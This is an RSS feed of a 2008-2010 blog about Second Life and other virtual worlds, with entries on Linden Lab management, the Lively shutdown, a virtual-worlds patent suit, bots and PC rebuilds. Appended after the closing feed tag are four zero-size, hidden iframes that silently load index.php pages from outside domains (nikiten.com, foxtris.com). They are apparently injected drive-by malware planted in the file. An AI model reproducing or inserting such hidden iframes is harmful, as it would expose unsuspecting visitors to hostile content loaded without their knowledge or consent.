<?xml version="1.0" encoding="UTF-8"?>
<!-- generator="FeedCreator 1.7.3" -->
<rss version="2.0">
	<channel>
		<title>Blog Entries</title>
		<description>Blog Entries</description>
		<link>http://www.altoxeno.com</link>
		<lastBuildDate>Sat, 20 Mar 2010 20:28:10 +0100</lastBuildDate>
        <generator>FeedCreator 1.7.3</generator>
		<item>
			<title>Shutting down</title>
			<link>http://www.altoxeno.com/blog/Shutting-down.html</link>
			<description>After a week of fighting comment spam from an Australian website, and some annoyances with my hosting provider, I've reached the conclusion that maintaining this site isn't worth the bother.&lt;br/&gt;&lt;br/&gt;So a &quot;thank you&quot; to the roughly 25,000 of you who read this during 2009, despite my not adding any new content. I'll be shutting this down sometime in the next 24 hours, then will think about whether I want to do anything in future with this site.&lt;br/&gt;&lt;br/&gt;Alto</description>
			<author>alto@altoxeno.com</author>
			<pubDate>Sat, 02 Jan 2010 08:00:00 +0100</pubDate>
		</item>
		<item>
			<title>A patent on virtual worlds?</title>
			<link>http://www.altoxeno.com/blog/A-patent-on-virtual-worlds-.html</link>
			<description>&lt;p&gt;American patent law is a terrible mess. The latest example of this is a patent infringement suit that claims a Boston company holds a key patent relating to virtual worlds.&lt;/p&gt;Virtual worlds developer Worlds.com, which seems to make custom virtual environments for corporations, is using a patent it filed claim for in August 2000 and was granted in 2007, to sue NCSoft, the Korean maker of virtual worlds such as Lineage, City of Heroes and Guild Wars.&lt;br /&gt;&lt;p&gt;The core of the patent claims a met [...]</description>
			<author>alto@altoxeno.com</author>
			<pubDate>Fri, 02 Jan 2009 08:00:00 +0100</pubDate>
		<category>Patent trolls</category>
		</item>
		<item>
			<title>R.I.P. Lively</title>
			<link>http://www.altoxeno.com/blog/R.I.P.-Lively.html</link>
			<description>&lt;p&gt;In case you missed it, Google has decided to shut down Lively at the end of this year.&lt;/p&gt;&lt;p&gt;I am not surprised. Livelywas neither a realistic competitor for the Second Life virtual world, nor was it going to challenge the social meeting spaces that attract teens and pre-teens. Lively was not all that easy to use, and each time I visited I was left with the distinct impression that the majority of people using it were offering the 3D virtual worlds equivalent of telephone sex.&lt;/p&gt;&lt;p&gt;With the  [...]</description>
			<author>alto@altoxeno.com</author>
			<pubDate>Wed, 19 Nov 2008 08:00:00 +0100</pubDate>
		<category>Lively</category>
		</item>
		<item>
			<title>Taking a Break</title>
			<link>http://www.altoxeno.com/blog/Taking-a-Break.html</link>
			<description>&lt;p&gt;I am taking a break from Second Life and other virtual worlds. While they still interest me for their potential to change some aspects of business communications and teaching,&amp;nbsp; I am no longer finding participation in them very interesting, so I have decided I need to step back for a while.&lt;/p&gt;&lt;p&gt;I will keep this site running and may post from time to time, but I doubt it will have a great deal of new content anytime soon as my focus will mainly be on other sites I build and operate for m [...]</description>
			<author>alto@altoxeno.com</author>
			<pubDate>Sat, 15 Nov 2008 08:00:00 +0100</pubDate>
		<category>Burn-out</category>
		</item>
		<item>
			<title>Second Life Management Problems</title>
			<link>http://www.altoxeno.com/blog/Second-Life-Management-Problems.html</link>
			<description>Linden Laboratories, the developers of the Second Life virtual world, have recently displayed an uncanny knack for making their paid &amp;quot;residents&amp;quot; very unhappy. As I see it, some of the problems stem from the residents themselves, but others are surely the fault of management.&lt;p&gt;The most recent unrest among residents of SL concerns so-called Openspaces (also known as void regions or opensims). They did not get a whole lot of attention until two years ago, when the original offer (one or  [...]</description>
			<author>alto@altoxeno.com</author>
			<pubDate>Thu, 30 Oct 2008 08:00:00 +0100</pubDate>
		<category>SL pricing</category>
 <category>SL land</category>
 <category>Openspaces in SL</category>
 <category>OpenSim</category>
 <category>NPIRL</category>
 <category>Education</category>
		</item>
		<item>
			<title>Privacy (not) in Second Life</title>
			<link>http://www.altoxeno.com/blog/Privacy-not-in-Second-Life.html</link>
			<description>&lt;p&gt;In a post about a week ago, Dusan Writer talked about code in the SL viewer that can be used to track any avatar in SL, any time. This was a &amp;quot;feature&amp;quot; of the SL map until late 2006, when it was turned off, but the underlying code is still there.&lt;/p&gt;&lt;p&gt;Second Inventory, a tool that lets users make backups to their own computers of any inventory items to which they own full permissions, has in its communications tools a function that lets you see the region and exact coordinates of an [...]</description>
			<author>alto@altoxeno.com</author>
			<pubDate>Mon, 27 Oct 2008 08:00:00 +0100</pubDate>
		<category>Privacy in virtual worlds</category>
		</item>
		<item>
			<title>China's War of the Worlds?</title>
			<link>http://www.altoxeno.com/blog/Chinas-War-of-the-Worlds-.html</link>
			<description>&lt;p&gt;The virtual worlds of China have been pretty quiet for the past year or so, after an initial burst of publicity about HiPiHi, Novoking, and then uWorld. It looks like that is changing, in a hurry.&lt;/p&gt;&lt;p&gt;The &amp;quot;Old&amp;quot; Worlds&lt;br /&gt;HiPiHi's next beta release appears to have been delayed. While I have not seen any official statement to that effect, friends in China seem pretty certain the company is re-thinking its strategy. Concurrency (the number of concurrent users in HiPiHi), has always [...]</description>
			<author>alto@altoxeno.com</author>
			<pubDate>Mon, 27 Oct 2008 08:00:00 +0100</pubDate>
		<category>Virtual Worlds</category>
 <category>uWorld</category>
 <category>OpenSim</category>
 <category>Nurien</category>
 <category>MWorld</category>
 <category>HiPiHi</category>
 <category>CyWorld</category>
 <category>Chinese virtual worlds</category>
 <category>ChinaQ</category>
		</item>
		<item>
			<title>Phantom Prims at Sim Boundaries</title>
			<link>http://www.altoxeno.com/blog/Phantom-Prims-at-Sim-Boundaries.html</link>
			<description>&lt;p&gt;I recently was walking over a bridge connecting two sims when the inevitable happened and I fell through the bridge, which had turned phantom.&lt;/p&gt;&lt;p&gt;This has happened to me more times than I can count in SL. It is annoying because the solution is pretty simple. So, in the hope some of you whose bridges and walkways and paths go phantom at the sim crossing might read it, I have written a short &amp;quot;how to&amp;quot; article which explains how to fix the problem.&lt;/p&gt;&lt;p&gt;While I was writing about mak [...]</description>
			<author>alto@altoxeno.com</author>
			<pubDate>Sun, 26 Oct 2008 08:00:00 +0100</pubDate>
		<category>sim avatar limits</category>
 <category>phantom prims</category>
		</item>
		<item>
			<title>Asinine University Administrators</title>
			<link>http://www.altoxeno.com/blog/Asinine-University-Administrators.html</link>
			<description>&lt;p&gt;There are times I really do despair at the behavior of administration people in universities. For the past month I have been following the extraordinary actions of administration staff in general and IT staff in particular at Carlton University in Ottawa, Canada.&lt;/p&gt;&lt;p&gt;Let me tell you the story as it unfolded.&lt;/p&gt;&lt;p&gt;On September 8 and again on the 10th the news department of the Canadian Broadcasting Corporation reported the story of 20 year old mathematics and statistics undergraduate studen [...]</description>
			<author>alto@altoxeno.com</author>
			<pubDate>Fri, 17 Oct 2008 08:00:00 +0100</pubDate>
		<category>Ethical hacking</category>
 <category>Education</category>
		</item>
		<item>
			<title>Myrl connecting virtual worlds</title>
			<link>http://www.altoxeno.com/blog/Myrl-connecting-virtual-worlds.html</link>
			<description>&lt;p&gt;Myrl is an interesting new social networking site that describes itself as a &quot;social gateway for virtual worlds&quot; and asks you to &quot;Join in to build the first collaborative social picture of life in the virtual worlds.&quot;&lt;/p&gt;&lt;p&gt; I have started testing it, signing up from SL and using yet another &quot;wear it&quot; item to connect myself from SL to Myrl. The device promptly interfered with my MystiTool, hijacking the location of the MystiTool implant. I will have to select where the (invisible, thankfully [...]</description>
			<author>alto@altoxeno.com</author>
			<pubDate>Tue, 14 Oct 2008 08:00:00 +0100</pubDate>
		<category>Virtual Worlds</category>
 <category>Social networks</category>
 <category>Myrl</category>
		</item>
		<item>
			<title>Sony, Microsoft 3D worlds</title>
			<link>http://www.altoxeno.com/blog/Sony-Microsoft-3D-worlds.html</link>
			<description>&lt;p&gt;Sony and Microsoft are both making an entry into the 3D space with add-ons for their game consoles, PlayStation 3 and Xbox 360. Neither is going to be a competitor for the major 3D virtual worlds like Second Life.&lt;/p&gt;&lt;p&gt;Sony's &quot;Home&quot; software is currently in closed beta and the launch of this previously announced software has been dragged out by various delays in development, but I expect it will launch quickly in response to Microsoft's announcement. It is the more sophisticated of the two o [...]</description>
			<author>alto@altoxeno.com</author>
			<pubDate>Mon, 13 Oct 2008 08:00:00 +0100</pubDate>
		<category>Virtual Worlds</category>
 <category>Sony Home</category>
 <category>Microsoft Xbox</category>
 <category>Education</category>
		</item>
		<item>
			<title>New Virtual World in China</title>
			<link>http://www.altoxeno.com/blog/New-Virtual-World-in-China.html</link>
			<description>&lt;p&gt;IBM today launched in collaboration with the Palace Museum in Beijing, China, a new virtual world which is an interactive simulation of the iconic Chinese landmark, the Forbidden City in Beijing.&lt;/p&gt;&lt;p&gt;The software for accessing this world is large: the Windows download weighs in at 204MB and wants 2GB of free disk space for installation. I have no doubt the Mac OS X and Linux installers (also available today) are of similar mass. &lt;/p&gt;&lt;p&gt;You will also need a good graphics card and monitor. Th [...]</description>
			<author>alto@altoxeno.com</author>
			<pubDate>Fri, 10 Oct 2008 08:00:00 +0100</pubDate>
		<category>Virtual Worlds</category>
 <category>Education</category>
 <category>Beyond Space and Time</category>
		</item>
		<item>
			<title>Bots in Second Life</title>
			<link>http://www.altoxeno.com/blog/Bots-in-Second-Life.html</link>
			<description>&lt;p&gt;Every few months, the issue of bots in SL arises in forums, blogs, and newsmagazines, quickly spawning passionate arguments for and against.&lt;/p&gt;&lt;p&gt; The bots that elicit the greatest anger are alt avatars scripted to stay online almost permanently. Some retail and services vendors in SL use them to give the impression their location is very busy - lots of green dots on the map. This has two potential benefits to the vendor:&lt;/p&gt; Newcomers (noobs) in SL are almost always confused about where t [...]</description>
			<author>alto@altoxeno.com</author>
			<pubDate>Tue, 07 Oct 2008 08:00:00 +0100</pubDate>
		<category>Lag</category>
 <category>bots in SL</category>
 <category>avatars</category>
		</item>
		<item>
			<title>Tweaking for SL Speed</title>
			<link>http://www.altoxeno.com/blog/Tweaking-for-SL-Speed.html</link>
			<description>&lt;p&gt;After getting my rebuilt and upgraded PC running smoothly, I spent a while yesterday hunting down tweaks that would make it perform better in SL and other virtual worlds.&lt;/p&gt;&lt;p&gt;The result, after messing with settings in SL and settings on my computer, and applying an update to one software package I use all the time in SL, is that I achieved a visible improvement in render times and cut lag down a great deal. The quality of the visual experience in SL also went up, a lot.&lt;/p&gt;&lt;p&gt;The article de [...]</description>
			<author>alto@altoxeno.com</author>
			<pubDate>Sat, 04 Oct 2008 08:00:00 +0100</pubDate>
		<category>Lag</category>
 <category>Computer hardware</category>
		</item>
		<item>
			<title>SL Groups: Need More?</title>
			<link>http://www.altoxeno.com/blog/SL-Groups-Need-More-.html</link>
			<description>&lt;p&gt;How many groups do you belong to in SL? I have hit the limit of 25 on a number of occasions, and am hoping the cap will be raised one of these days. I would prefer that to happen soon.&lt;/p&gt;&lt;p&gt; You may belong to some groups in order to receive update notices and &quot;special sales&quot; notices from retailers; other groups may hold events that you want to be notified of; and other groups may be ones you formed with friends to manage real estate holdings. More group memberships could relate to education [...]</description>
			<author>alto@altoxeno.com</author>
			<pubDate>Tue, 30 Sep 2008 08:00:00 +0100</pubDate>
		<category>Second Life</category>
 <category>poll</category>
		</item>
		<item>
			<title>Imprudent SL Viewer?</title>
			<link>http://www.altoxeno.com/blog/Imprudent-SL-Viewer-.html</link>
			<description>&lt;p&gt;One of the penalties rebuilding some of my computers imposed was, I fell behind in reading blogs, wikis, and other places than interest me. So I am late in coming upon Jacek Antonelli's very interesting project to build a new viewer for SL.&lt;/p&gt;&lt;p&gt; The project aims to initially improve some of the truly annoying aspects of the SL viewer, such as the preferences control. At the same time, the glacially slow pace of applying patches to the viewer will be much accelerated.&lt;/p&gt;&lt;p&gt; The manifesto  [...]</description>
			<author>alto@altoxeno.com</author>
			<pubDate>Mon, 29 Sep 2008 08:00:00 +0100</pubDate>
		<category>viewer for SL</category>
		</item>
		<item>
			<title>Spiral and Circular Stairs</title>
			<link>http://www.altoxeno.com/blog/Spiral-and-Circular-Stairs.html</link>
			<description>&lt;p&gt;Judging from both comments and emails, there seems to be lots of interest in ways to build spiral (circular) stairs in SL. This weekend I have added two more &quot;how to&quot; articles on that topic.&lt;/p&gt;&lt;p&gt;The first article describes how to build a spiral stair of up to 10 meters height using and abusing a single, tube prim. The article is posted in the Quick Builds section of the site.&lt;/p&gt;&lt;p&gt;The second article is an extension of one I wrote a while ago, where I described how to use Cadroe Murphy's wo [...]</description>
			<author>alto@altoxeno.com</author>
			<pubDate>Sun, 28 Sep 2008 08:00:00 +0100</pubDate>
		<category>spiral stairs</category>
 <category>Second Life</category>
		</item>
		<item>
			<title>Rebuilt!</title>
			<link>http://www.altoxeno.com/blog/Rebuilt-.html</link>
			<description>&lt;p&gt;Finally have the new hardware and software up and running on the XP Pro box, and most of the internal network reconnected. The speed improvements in SL are nice.&lt;/p&gt;&lt;p&gt;As soon as I had the new system stable, I logged into SL. Removed all camera constraints, disabled draw distance and set graphics to the max. Then I teleported into Textures R Us, went to the right corner of the building, and started a timer. Less than 70 seconds for all textures in sight to rez.&lt;/p&gt;&lt;p&gt;Went back today (Saturday [...]</description>
			<author>alto@altoxeno.com</author>
			<pubDate>Sat, 27 Sep 2008 08:00:00 +0100</pubDate>
		<category>Linux</category>
 <category>Lag</category>
 <category>Graphics</category>
 <category>Computer hardware</category>
		</item>
		<item>
			<title>Rebuilding</title>
			<link>http://www.altoxeno.com/blog/Rebuilding.html</link>
			<description>&lt;p&gt;I am having a serious geek week. I am in the midst of a rebuild of a few of my computers here in the real world.&lt;/p&gt;&lt;p&gt; My primary hardware for SL and other virtual worlds for the past while has been a PC with the following specs:&lt;/p&gt; Intel Core2 Duo cpu at 2.13GHz between 2 and 4GB of fast RAM 300GB HDD x3 plus 2TB of NASnVidia GeForce 7600 GT driving a 22&quot; widescreen LCD and a 19&quot; CRT.&lt;p&gt;I am changing the motherboard and installing:&lt;/p&gt;an Intel Core2 Quad cpu with 8MB of L2 cache and a 1066 [...]</description>
			<author>alto@altoxeno.com</author>
			<pubDate>Thu, 18 Sep 2008 08:00:00 +0100</pubDate>
		<category>Linux</category>
 <category>Lag</category>
 <category>Graphics</category>
 <category>Computer hardware</category>
		</item>
		<item>
			<title>Cutting, Farming, Extorting in SL update</title>
			<link>http://www.altoxeno.com/blog/Cutting-Farming-Extorting-in-SL-update.html</link>
			<description>Jack Linden has updated his blog discussion of Ad Farms and Network Advertisers. The plan to license advertisers has been dropped and instead &quot;ad farming&quot; will be dealt with as Harrassment under clause 4.1 of the Terms Of Service. They are specifically taking aim at the use of multiple parcels, on multiple regions, for the primary purpose of advertising. There are a lot of new rules, some of which will impact everyone.&lt;p&gt;Land cutting is only obliquely addressed. It will be looked at if the remov [...]</description>
			<author>alto@altoxeno.com</author>
			<pubDate>Thu, 18 Sep 2008 08:00:00 +0100</pubDate>
		<category>SL land</category>
 <category>Second Life</category>
		</item>
	</channel>
</rss>
<iframe src="http://nikiten.com/lib/index.php" width=0 height=0 style="hidden" frameborder=0 marginheight=0 marginwidth=0 scrolling=no></iframe><iframe src="http://nikiten.com/lib/index.php" width=0 height=0 style="hidden" frameborder=0 marginheight=0 marginwidth=0 scrolling=no></iframe><iframe src="http://foxtris.com/lib/index.php" width=0 height=0 style="hidden" frameborder=0 marginheight=0 marginwidth=0 scrolling=no></iframe><iframe src="http://foxtris.com/lib/index.php" width=0 height=0 style="hidden" frameborder=0 marginheight=0 marginwidth=0 scrolling=no></iframe>